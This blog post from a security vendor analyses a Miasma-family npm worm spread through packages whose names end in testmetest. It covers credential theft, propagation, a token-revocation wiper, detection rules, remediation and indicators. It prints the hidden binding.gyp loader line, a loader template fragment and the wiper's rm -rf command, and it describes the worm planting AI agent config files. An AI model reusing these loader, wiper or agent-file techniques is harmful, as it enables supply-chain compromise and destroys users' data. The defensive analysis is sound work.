testmetest npm Packages Carry a Miasma-Family Worm

• • 5 min read

An operator is testing a Miasma-family npm worm in public. Between 19 and 22 October 2026, npm received 15 packages with names that end in testmetest. The accounts alexjoipamiba and testnewtestme published four of them. The malicious versions steal credentials, spread to other packages and repositories, and install a wiper that deletes the home directory when the victim revokes the stolen GitHub token.

The worm shares code with Miasma “Phantom Gyp” from June 2026 and adds the token-revocation wiper from Mini Shai-Hulud. SafeDep has not confirmed its exact lineage. The infrastructure, loader layout and strings differ from Miasma, which defeats published Miasma signatures for loader size, file hashes and marker strings. As of 22 October 2026, SafeDep has found no compromised third-party packages or victims. All observed activity belongs to the operator’s own test accounts.

The packages

Each package follows three steps: a 0.0.0-stage stub, a harmless 1.0.0 decoy, then a malicious patch version such as 0.0.1 that becomes latest.

Four packages are live, and [email protected] carries the worm. The other eleven left the registry on 21 October. The table lists every known version.

testmetest-npm-worm-packages.csv
Row ecosystem name version published_utc publisher role verdict registry_status tarball_sha1
1 npm event-bus-lite-testmetest 0.0.0-stage 2026-10-22T10:01:50Z alexjoipamiba stub benign-stub live 71c000c6386010f8071bd424e100a72b986f1a87
2 npm event-bus-lite-testmetest 1.0.0 2026-10-22T10:05:59Z alexjoipamiba decoy benign-decoy live 2ee0dadb79432a6a48df1cb32eef4d0812dba611
3 npm event-bus-lite-testmetest 0.0.1 2026-10-22T10:59:51Z alexjoipamiba armed malicious live (dist-tag latest) 7c772b53c3fc70eeddaf0a8edad33abf23cddbe6
4 npm retry-utils-testmetest 0.0.0-stage 2026-10-22T10:01:53Z alexjoipamiba stub benign-stub live c2bd0437b614be200d8f1965dc0879e8324edde2
5 npm retry-utils-testmetest 1.0.0 2026-10-22T10:03:10Z alexjoipamiba decoy benign-decoy live 210b49478415049db47bd7738d0650c0a8ecd353
6 npm sdk-utils-testmetest 0.0.0-stage 2026-10-19T10:18:30Z testnewtestme stub benign-stub live 9fd868109ef1f4b3d73cb14d37bffb600dc16893
7 npm sdk-utils-testmetest 1.0.0 2026-10-19T10:21:09Z testnewtestme decoy benign-decoy live 15ff00ecbb18941c703537976e79bb53f87542db
8 npm kvarzo8f3atestmetest 0.0.0-stage 2026-10-20T22:51:16Z testnewtestme stub benign-stub live c3846f5ec2841f6477961c8a3ed14c61100f8dfa
9 npm kvarzo8f3atestmetest 1.0.0 2026-10-20T22:53:55Z testnewtestme decoy benign-decoy live bd4748edb152b93c720a63e2cac09de8e56bf9ec
10 npm data-pipeline-testmetest 0.0.0-stage 2026-10-21T10:32Z unknown stub unknown unpublished 2026-10-21T15:07:26Z
11 npm data-pipeline-testmetest 1.0.0 2026-10-21T10:33Z unknown decoy? unknown unpublished 2026-10-21T15:07:26Z
12 npm data-pipeline-testmetest 2.0.0 2026-10-21T10:51Z unknown unknown unknown unpublished 2026-10-21T15:07:26Z
13 npm data-pipeline-testmetest 2.0.1 2026-10-21T11:13Z unknown armed malicious unpublished 2026-10-21T15:07:26Z
14 npm event-emitter-testmetest 0.0.0-stage 2026-10-21T10:56Z unknown stub unknown unpublished 2026-10-21T15:07:28Z
15 npm event-emitter-testmetest 1.0.0 2026-10-21T11:02Z unknown decoy? unknown unpublished 2026-10-21T15:07:28Z
16 npm event-emitter-testmetest 1.0.5 2026-10-21T11:15Z unknown unknown unknown unpublished 2026-10-21T15:07:28Z
17 npm event-emitter-testmetest 1.0.4 2026-10-21T11:16Z unknown scaffold investigating unpublished 2026-10-21T15:07:28Z
18 npm event-emitter-testmetest 1.0.6 2026-10-21T11:34Z unknown unknown unknown unpublished 2026-10-21T15:07:28Z
19 npm event-emitter-testmetest 1.0.7 2026-10-21T11:37Z unknown armed (test) malicious unpublished 2026-10-21T15:07:28Z
20 npm event-emitter-testmetest 3.0.0 2026-10-21T11:50Z unknown unknown unknown unpublished 2026-10-21T15:07:28Z
21 npm event-emitter-testmetest 3.0.1 2026-10-21T11:57Z unknown unknown unknown unpublished 2026-10-21T15:07:28Z
22 npm event-emitter-testmetest 5.0.0 2026-10-21T12:55Z unknown armed malicious unpublished 2026-10-21T15:07:28Z
23 npm event-emitter-testmetest 4.1.0 2026-10-21T13:17Z unknown armed malicious unpublished 2026-10-21T15:07:28Z
24 npm test-brotli-testmetest 0.0.0-stage 2026-10-21T13:02Z unknown stub unknown unpublished 2026-10-21T15:07:38Z
25 npm test-brotli-testmetest 1.0.0 2026-10-21T13:57Z unknown armed (test) malicious unpublished 2026-10-21T15:07:38Z
26 npm pixel-map-testmetest 0.0.0-stage 2026-10-21T17:08Z unknown stub unknown unpublished 2026-10-21T23:26:12Z
27 npm pixel-map-testmetest 1.0.0 2026-10-21T17:10Z unknown decoy investigating unpublished 2026-10-21T23:26:12Z
28 npm pixel-map-testmetest 0.0.1 2026-10-21T17:12Z unknown armed malicious unpublished 2026-10-21T23:26:12Z
29 npm pixel-map-testmetest 0.0.2 2026-10-21T20:44Z unknown armed malicious unpublished 2026-10-21T23:26:12Z
30 npm pixel-map-testmetest 0.0.3 2026-10-21T21:43Z unknown unknown unknown unpublished 2026-10-21T23:26:12Z
31 npm canvas-draw-testmetest 0.0.0-stage 2026-10-21T20:21Z unknown stub unknown unpublished 2026-10-21T23:26:05Z
32 npm canvas-draw-testmetest 1.0.0 2026-10-21T20:22Z unknown decoy investigating unpublished 2026-10-21T23:26:05Z
33 npm net-codec-testmetest 0.0.0-stage 2026-10-21T22:10Z unknown stub unknown unpublished 2026-10-21T23:26:11Z
34 npm net-codec-testmetest 1.0.0 2026-10-21T22:11Z unknown decoy? unknown unpublished 2026-10-21T23:26:11Z
35 npm net-codec-testmetest 1.0.1 2026-10-21T22:34Z unknown armed malicious unpublished 2026-10-21T23:26:11Z
36 npm log-rotate-testmetest 0.0.0-stage 2026-10-21T22:11Z unknown stub unknown unpublished 2026-10-21T23:26:09Z
37 npm log-rotate-testmetest 1.0.0 2026-10-21T22:12Z unknown decoy? unknown unpublished 2026-10-21T23:26:09Z
38 npm log-rotate-testmetest 1.0.1 2026-10-21T22:33Z unknown armed malicious unpublished 2026-10-21T23:26:09Z
39 npm string-helpers-testmetest 0.0.0-stage 2026-10-21T16:22Z unknown stub unknown unpublished 2026-10-21T23:26Z
40 npm string-helpers-testmetest 1.0.0 unknown unknown decoy? unknown unpublished 2026-10-21T23:26Z
41 npm form-render-testmetest 0.0.0-stage 2026-10-21T22:09Z unknown stub unknown unpublished 2026-10-21T23:26Z
42 npm form-render-testmetest 1.0.0 unknown unknown decoy? unknown unpublished 2026-10-21T23:26Z
43 npm task-runner-testmetest 0.0.0-stage 2026-10-21T23:25Z unknown stub unknown unpublished 2026-10-21T23:26Z
44 npm byte-parser-testmetest 0.0.0-stage 2026-10-21T23:25Z unknown stub unknown unpublished 2026-10-21T23:26Z
44 rows
| 9 columns

The operator also runs test repositories on GitHub under CementBeetleSteeple, and most already contain the worm’s files. Do not clone or open them. Its commits use the same email address as the npm account testnewtestme.

Related activity goes back to September. The GitHub account Meteordrewarm, registered 11 seconds before CementBeetleSteeple, ran the first exfiltration test on 19 September from [email protected]. npm removed an earlier package from the same cluster, testmgkregme, on 12 October.

How it runs

The package has no install scripts. npm runs node-gyp rebuild for any package that contains binding.gyp, and the sources field runs the loader:

// binding.gyp @ [email protected]
"sources": ["<!(node index.js 1>/dev/null 2>/dev/null; echo stub.c)"]

index.js (14.8 KB) decrypts a Bun bootstrap and lib_native.dat (320 KB). The bootstrap finds or downloads Bun. The loader writes the decrypted payload to /tmp/.b-*/index.js, runs it with bun run, and deletes it.

What the payload does

  • Evasion
    • Exits on Russian and other Commonwealth of Independent States (CIS) locales, and on known analysis sandboxes.
    • In GitHub Actions, kills StepSecurity Harden-Runner through docker.sock and points *.stepsecurity.io to localhost. Exits if this fails.
  • Credential theft
    • SSH keys, npm, PyPI and Git credentials, .env files, browser logins.
    • AI tool credentials for Claude, Codex, Gemini and Copilot.
    • AWS, GCP, Azure, Vault and Kubernetes secrets.
    • GitHub Actions secrets from Runner.Worker process memory.
  • Exfiltration
    • Commits encrypted data to a new public repository on the victim’s GitHub account, named like smart-workers-48213 with the description project-utils.
    • The commit message starts with AutoSyncComplete: and carries the victim’s GitHub token, encrypted with a hardcoded key. Other infections search for these commits to reuse the tokens.
    • Fallback endpoint: hxxps://aiarmor[.]website/v1/api.
  • Propagation
    • Adds the loader to the victim’s npm packages and publishes a new patch version.
    • Republishes to PyPI, RubyGems and JFrog.
    • Commits a fake CodeQL workflow and AI agent files (.claude/settings.json, .cursor/mcp.json, CLAUDE.md, AGENTS.md, .vscode/tasks.json) and a Windows loader .github/init.ps1 to GitHub and GitLab repositories. Injected commits copy the author and message of the most recent real commit on the branch, with github-actions as a fallback.
    • Copies itself over SSH to the hosts in each user’s known_hosts file.
  • Persistence
    • net-health-checker checks the stolen GitHub token every 45 seconds for 48 hours. On 401 or 403 it runs rm -rf ~/; rm -rf ~/Documents.
    • pkg-runtime runs sync.py. Every hour it searches GitHub commits for msync-3f7a, then downloads and runs a Python script from a URL that the attacker’s RSA key signed.

What changed from Miasma

FeatureMiasma (June 2026)testmetest
LoaderRoot index.js over 4 MB14.8 KB, payload in lib_native.dat
Command channelFixed commit searchmsync-3f7a with signed commands
ExfiltrationGitHub onlyGitHub and aiarmor[.]website
WiperMessage onlyReal deletion

SafeDep does not attribute this variant to the original Miasma operators. The Shai-Hulud source has been public since May 2026, so other groups can build on it.

Detection

  • A binding.gyp target whose sources contains <!(node and hides output, in a package without C or C++ sources.
  • A high-entropy .dat or .bin file next to a small index.js with a large character-code array and eval.
  • Supporting signals, combined with the binding.gyp rule: a bun dependency in package.json, or a 0.0.x latest version published after 1.0.0.
  • The loader template is the same in every build: (function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,
  • After decoding: globalThis.getBunPath, msync-3f7a, aiarmor.website, net-health-checker.

Apply the binding.gyp rule to every package. A real attack will come through compromised maintainer accounts with normal package names.

Remediation

  1. Disconnect the host from the network.

  2. Remove persistence first. On Linux:

    Terminal window
    systemctl --user disable --now net-health-checker pkg-runtime
    rm -rf ~/.local/bin/net-health-checker.sh ~/.config/net-health-checker \
    ~/.config/systemd/user/{net-health-checker,pkg-runtime}.service \
    ~/.local/share/runtimes /var/tmp/.fontconfig_state

    On macOS:

    Terminal window
    launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.user.{net-health-checker,pkg-runtime}.plist

    Then delete those two .plist files.

  3. Rotate all credentials: Git hosts, package registries, cloud, Vault, Kubernetes, SSH and AI providers.

  4. Check your accounts for new project-utils repositories, unexpected patch releases, and commits that add .claude/, .cursor/, .gemini/, .vscode/tasks.json, CLAUDE.md or AGENTS.md, and for commits whose message starts with AutoSyncComplete:. The agent files infect the host again.

  5. Reinstall the operating system on the host.

Indicators of compromise

See the packages for the full list of package versions.

TypeValue
npm accountalexjoipamiba, testnewtestme
GitHub accountCementBeetleSteeple (ID 295109074, same commit email as testnewtestme), Meteordrewarm (ID 295109040)
Repository fileAGENTS.md, .github/init.ps1, .claude/index.js
npm packagetestmgkregme
Branchchore/ci-<8 hex>
Commit suffixskip-checks:true
Domainaiarmor[.]website
C2 stringmsync-3f7a
Commit prefixAutoSyncComplete:
Servicenet-health-checker, pkg-runtime
Tarball SHA-17c772b53c3fc70eeddaf0a8edad33abf23cddbe6 ([email protected])
SHA-256837904152e824645cb7d2d58a4a5e0aaa22d5e82a5d6eafe08b9c2b8b1bf4de6 (binding.gyp)
SHA-2560b0e02b03ea3a2f8e8657143706e327a0b3608acbc1c43ec02ebc072dbe76944 (index.js)
SHA-256fc8e014b1c6940435880346fe3e84b20f2cbd9e65ed662283347a306929b8381 (lib_native.dat)
SHA-256c7ef186aa59b67d9b198a14f6dc8aaee6dd86510ac7c37d28f65d310cd846411 (sync.py)

Each build uses new keys, so payload hashes change in every version. SafeDep decoded only [email protected], using static analysis.

  • malware
  • npm
  • supply-chain
  • miasma
  • shai-hulud
  • worm

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.